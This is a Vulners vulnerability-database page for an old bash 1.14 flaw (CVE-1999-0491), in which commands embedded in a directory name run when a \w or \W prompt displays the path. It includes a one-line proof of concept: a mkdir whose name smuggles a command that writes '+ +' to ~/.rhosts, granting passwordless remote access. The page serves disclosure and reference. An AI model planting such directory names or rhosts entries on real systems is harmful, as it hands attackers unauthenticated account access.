Lucene search
+L

GNU GNU bash 1.14 - Path Embedded Code Execution

🗓️ 20 Apr 1999 00:00:00Reported by ShadowType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Vulnerability in bash allows command execution from path with embedded code in prompts.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-0491
2 Jun 200004:00
cve
cvelist
Cvelist
CVE-1999-0491
2 Jun 200004:00
cvelist
euvd
EUVD
EUVD-1999-0490
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-0491
20 Apr 199904:00
nvd
redhatcve
RedhatCVE
CVE-1999-0491
7 Jan 202609:39
redhatcve
source: https://www.securityfocus.com/bid/119/info

A vulnerability in bash may allow inadvertently running commands embedded in the path to the currently working directory.

If an unsuspecting user enters a directory created by some malicious user with embedded commands, and their prompt (PS1) contains '\w' or '\W', and the prompt is displayed the commands will be executed. The vulnerability is in the parsing of the '\w' and '\W' escape codes.

As the prompt must be displayed unattended shell scripts are not vulnerable.

mkdir "\`echo -e \"echo + +> ~\57.rhosts\" > x; source x; rm -f \x\` "

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.00865
26